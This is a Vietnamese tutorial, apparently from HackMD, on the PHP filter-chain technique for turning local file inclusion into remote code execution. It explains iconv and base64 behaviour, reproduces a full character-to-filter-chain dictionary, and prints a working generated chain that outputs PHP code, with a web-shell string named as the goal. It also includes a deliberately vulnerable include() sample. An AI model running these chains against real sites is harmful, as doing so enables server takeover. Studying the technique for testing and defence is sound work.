Try   HackMD

Turn any LFI to RCE use PHP filter chain

tags: LFI

Giới thiệu

Đã có bao giờ bạn phát hiện lỗ hổng LFI trên một ứng dụng web nhưng loay hoay mãi không thể tìm được file nào tiềm năng để leo thang mức độ ảnh hưởng như dẫn đến RCE hay không ?

Để giải quyết nổi đau này mình sẽ giới thiệu về kỹ thuật PHP filter chain có thể biến mọi LFI thành RCE 😀

Vấn đề

Giả sử ta có đoạn code bị LFI như sau

<?php 
    // do something
    include($_GET['user_input'])
    // do something else    
?>

Bài toán đặt ra là không thể LFI được file nào có thể leo thang thành RCE, vậy thì có cách nào không include file nhưng vẫn RCE được hay không ?

Kiến thức cơ bản

Trên thế giới có hàng nghìn ngôn ngữ khác nhau, kèm với đó là hàng chục nghìn ký tự đặc trưng của ngôn ngữ đó. Để máy tính có thể hiểu và hiển thị các ký tự đặc biệt là một điều không dễ. Ở bảng mã ASCII chỉ gói gọn 256 ký tự xuất hiện trong bảng chữ cái latin, để máy tính hiểu được các ký tự như ă, â, ê, Thì bắt buộc phải có một bảng mã khác hỗ trợ. Ví dụ bảng mã tiêu chuẩn cho tiếng Việt là TCVN 6909:2001 hay bảng mã tiêu chuẩn của tiếng Nhật là JIS X 0213.
Vì tính chất phức tạp và thuật toán encode, decode khác nhau của các bảng mã, nên việc chuyển đổi liên tục giữa các bảng mã khác nhau sẽ dẫn đến một số hành vi lạ.

A. Chuyển đổi giữa các bảng mã trong PHP

Trong php để có thể chuyển đổi một string từ bảng mã này sang bảng mã khác ta có thể dùng hàm iconv
Ví dụ:

$ php -r "echo iconv('UTF-8', 'ISO-8859-1//TRANSLIT', 'This is the Euro symbol €.');"
This is the Euro symbol EUR.

Ngoài ra PHP cũng cung cấp wrapper php://convert.iconv.*.* có chức năng tương tự như hàm iconv

$ echo "This is the Euro symbol €." > test.txt
$ php -r "echo file_get_contents('php://filter/convert.iconv.utf-8.utf-7/resource=test.txt');"
This is the Euro symbol +IKw.

B. Sự kỳ diệu của hàm xử lý base64 trong PHP

Trước khi đi sâu vào thêm, ta cần phải biết một số cơ chế khá là độc lạ của encode, decode base64 trong .
Khi bình thường hàm base64_decode và wrapper convert.base64-decode có hành vi tương tự nhau

$ php -r "echo base64_encode('endyne');"
ZW5keW5l
$ php -r "echo base64_decode('ZW5keW5l');"
endyne
$ php -r "echo base64_decode('@@_ZW5keW5l');"
endyne
$ echo '@@_ZW5keW5l' > test.txt
$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
endyne

Khi ta thêm cái ký tự không hợp lệ của base64 vào ciphertext thì cả 2 đều sẽ tự động bỏ qua các ký tự đó rồi thực hiện decode.
Tuy nhiên khi ta chèn dấu = vào ciphertext thì hành vi sau đây sẽ xảy ra

$ echo 'ZW5keW5l' > test.txt
$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
endyne
$ php -r "echo base64_decode('ZW5==keW5l');"
endyne
$ echo 'ZW5==keW5l' > test.txt
$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
PHP Warning:  file_get_contents(): Stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
$ echo 'ZW5keW5l==' > test.txt                               
$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
PHP Warning:  file_get_contents(): Stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

Wrapper convert.base64-decode không thể tự động bỏ dấu = ở giữa ciphertext như cách dùng hàm thông thường.
Để khắc phục được điều này, ta sẽ dùng iconv để chuyển từ UTF-8 sang UTF-7.

$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
endyne���

Nguyên nhân của việc này là khi dấu = từ UTF-8 được chuyển sang UTF-7 sẽ thành chuỗi ký tự không hợp lệ trong Base64

$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/resource=test.txt');"
ZW5keW5l+AD0APQ

Mọi người có thể xem mô phỏng quá trình = được chuyển từ UTF-8 sang UTF-7 dưới hình sau (hoặc tham khảo wikiEncoding Problem Table) :

C. Prepended characters

Đây là phần kiến thức quan trọng, và là key cho kỹ thuật filter chain.
Một số bảng mã khi encode sẽ chèn thêm nội dung vào trước phần text, việc này gọi là prepended.
Một ví dụ về prepended characters có thể kể đến là phần Byte order mark (BOM)
Byte order mark hay BOM là một hoặc một chuỗi các ký tự đặc biệt được include vào phần đầu của text khi encode, để chỉ định thứ tự byte cũng như là thứ tự encoding của chuỗi.
Ở một số hệ thống, thứ tự đọc byte và thứ tự encode có thể khác với thuật toán encode của bảng mã, từ đó dẫn đến ký tự in ra bị sai. BOM xuất hiện ở đầu để giúp thứ tự đọc của hệ thống đồng nhất theo thuật toán của bảng mã.

BOM của một số bảng mã phổ biến:

Encoding identifier BOM
UTF-7 +/v8 hoặc +/v9
UTF-8 \xEF\xBB\xBF
UTF-16LE \xFF\xFE
UTF-16BE \xFE\xFF
UTF32 \xFF\xFE\x00\x00

Không chỉ dừng lại ở BOM việc prepended cũng có thể bao gốm các ký tự có chức năng đặc biệt chỉ được dùng riêng cho bảng mã đó.
Ví dụ như ISO-2022-KR bảng mã tiếng Hàn, thì đầu mỗi dòng text sẽ có thêm ESC $ ) C để giúp phân biệt giữa đâu là ký tự tiếng Hàn đâu là ký tự trong ASCII.

Prepended charaters thì muôn hình vạn trạn, và tùy thuộc vào từng loại encode mà các ký tự được thêm vào trước có giá trị và mục đích riêng khác nhau.

PHP filter chain

A. Tại sao lại dùng PHP filter chain

Ở phần trên là các kiến thức sẽ được vận dụng trong kỹ thuật PHP filter chain. Tuy nhiên mục đích của ta khi dùng kỹ thuật này là gì ?
Quay trở lại với ví dụ đầu bài (mình đổi từ include thành file_get_contents để demo dễ hiểu hơn)

<?php 
    // do something
    file_get_contents($_GET['user_input'])
    // do something else    
?>

Liệu có cách nào ta kiểm soát được giá trị trả về của hàm file_get_contents() thông qua user input hay không?
Ví dụ ta truyền vào 1 input nào đó, mà khiến hàm file_get_contents() return về chuỗi <?php system($_GET['cmd']); ?>.

Câu trả lời là ta hoàn toàn có thể, PHP filter chain sẽ cho phép ta làm điều đó, kỹ thuật này có thể khiến các sinks LFI return bất kỳ chuỗi nào mà ta muốn.

B. Cách tạo một ký tự bất kỳ bằng PHP filter

Ví dụ ta muốn file_get_contents() trả về ký tự 8

Ý tưởng: đầu tiên là sẽ prepended thêm ký tự vào trước chuỗi, sau đó dùng convert.iconv để chuyển đổi qua lại giữa các bảng mã, để tìm xem tại một bảng mã nào đó, phần prepended trả về được ký tự 8.

Cụ thể các bước thực hiện sẽ như sau:

  1. Đầu tiên chuyển từ UTF8 sang UTF16 để prepended thêm \xff\xfe vào trước chuỗi START
  2. Từ UTF16 chuyển sang LATIN6, nhưng trong bảng mã LATIN6 thì \xff\xfe tươnng ứng với ký tự ĸþ

  1. Tiếp tục chuyển từ Latin6 sang UTF16 thìĸþ sẽ thành \xff\xfe \x01\x38\xfe, mà \x38 trong UTF-16 tương ứng với số 8

Chứng thực bằng code PHP ta được kết quả:

<?php    
    $return = iconv( 'UTF8', 'UTF16', "START");
    echo(bin2hex($return)."\n");
    echo($return."\n");
    $return2 = iconv( 'LATIN6', 'UTF16', $return);
    echo(bin2hex($return2)."\n");
    echo($return2."\n");
?>

Kết quả:

└─$ php test.php 
fffe53005400410052005400
��START
fffe3801fe005300000054000000410000005200000054000000
��8�START

Ta đã gen được ký tự mong muốn, tuy nhiên ta thấy trong quá trình generate đã phát sinh các ký tự không hợp lệ, và các ký tự này sẽ khiến payload không thể hoạt động. Vậy thì phải làm sao để loại bỏ các ký tự invalid này ?

C. Loại bỏ các ký tự không hợp lệ

Ta sẽ lợi dụng hành vi của hàm encode, decode base64 trong PHP để làm điều đó.

Như đã biết ở trên, nếu ta decode một chuỗi base64 có ký tự không hợp lệ, thì hàm decode sẽ tự động loại bỏ các ký tự invalid và thực hiện decode như bình thường.
Lợi dụng cơ chế này, ta sẽ encode thành base64 trước khi thực hiện filter chain, để đến bước cuối cùng ta chỉ cần decode để loại bỏ ký tự invalid, và re-encode để lấy được nội dung mong muốn.

Vì payload sẽ được encode khi bắt đầu đi vào chain, nên thay vì tìm cách biến đổi ra payload, ta phải tìm cách biến đổi để tìm mã base64 của payload. Cuối cùng ta chỉ cần decode để cho ra payload

Ví dụ về quá trình prepended thêm ký tự 8 và loại bỏ hết các invalid char:

Với 8 có mã base64 là OA. Mục đích của ta sẽ là base64 encode trước, sau đó prepended A vào, re-encode để loại bỏ ký tự invalid. Tiếp tục prepended O vào, sau đó re-encode để loại bỏ các ký tự invalid. Cuối cùng base64 decode lấy được ký tự ta mong muốn ở đây là 8.

Còn về đoạn filter chain mà prepended ký tự O và A được mình lấy từ dict tại https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
Các bạn có thể tham khảo cách fuzz filter chain tương ứng với từng ký tự.

Quá trình chuyển đổi giữa các bảng mả:

└─$ php test.php

[ADD A]
----------------------------FIRST------------------------------------
fffe630033005200680063006e005100
��c3RhcnQ
----------------------------SECOND------------------------------------
854181a1630033005200680063006e005100
�A��c3RhcnQ
----------------------------BASE64------------------------------------
�х��
Ac3RhcnQ

[ADD O]
----------------------------FIRST------------------------------------
fffe00004100000063000000330000005200000068000000630000006e00000051000000
��Ac3RhcnQ
----------------------------SECOND------------------------------------
1b24284f292222231b284200004100000063000000330000005200000068000000630000006e00000051000000
)""#Ac3RhcnQ
----------------------------THIRD------------------------------------
1b24284f2922222300004100000063000000330000005200000068000000630000006e00000051000000
)""#Ac3RhcnQ
----------------------------BASE64------------------------------------
[Result] 87F'
[Base64] OAc3Rhcn

D. Vấn đề cuối cùng

Vấn đề cuối cùng của kỹ thuật này đó chính là tìm file hợp lệ mà ta có thể include. Ta cần phải biết được đường dẫn chính xác đến một file nào đó để có thể thực thi được filter chain. Nếu không biết đường dẫn chính xác ta không thể nào exploit được.

Để giải quyết vấn đề đó ta sẽ dùng php://temp.

php://temp là một pseudo protocol cho phép ta tạo một file temp ngẩu nhiên. Tuy nhiên file này sẽ không được lưu vào bộ nhớ cũng như chỉ có dung lượng tối đa là 2MB. Mặc định nội dung của file temp này là 1

$ php -r "echo require('php://filter/convert.base64-decode/resource=php://temp');"
1

Script

Gom tất cả những gì đã nêu ở trên, ta sẽ dùng đoạn script sau để gen ra filter chain mà ta mong muốn

Link script: https://github.com/synacktiv/php_filter_chain_generator

Cách hoạt động của script cũng khá đơn giản

Đầu tiên nó sẽ có 1 dict như thế này:

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

Tiếp theo nó sẽ base64 encode payload, sau đó lookup từng ký tự trong mã base64 kết quả để tìm filter chain ứng với các ký tự đó trong dict.

Ngoài cách dùng base64 để loại bỏ các ký tự invalid, thì script còn sử dụng kỹ thuật đổi từ UTF8 sang UTF7 sau khi re-encode để chắc chắn rằng không có ký tự = xuất hiện trong quá trình gen payload.

Test script

$ python3 php_filter_chain_generator.py --chain "<?php echo endy ?>"
[+] The following gadget chain will generate the following code : <?php echo endy ?> (base64 value: PD9waHAgZWNobyBlbmR5ID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp');"
<?php echo endy ?>�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@

Refer

https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html
https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html
https://www.php.net/manual/en/function.iconv.php
https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv
https://en.wikipedia.org/wiki/UTF-7#:~:text=[edit]-,Encoding,-[edit]
https://string-functions.com/encodingtable.aspx?encoding=65000&decoding=65001
https://www.rfc-editor.org/rfc/rfc2781#section-3.2
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
https://github.com/synacktiv/php_filter_chain_generator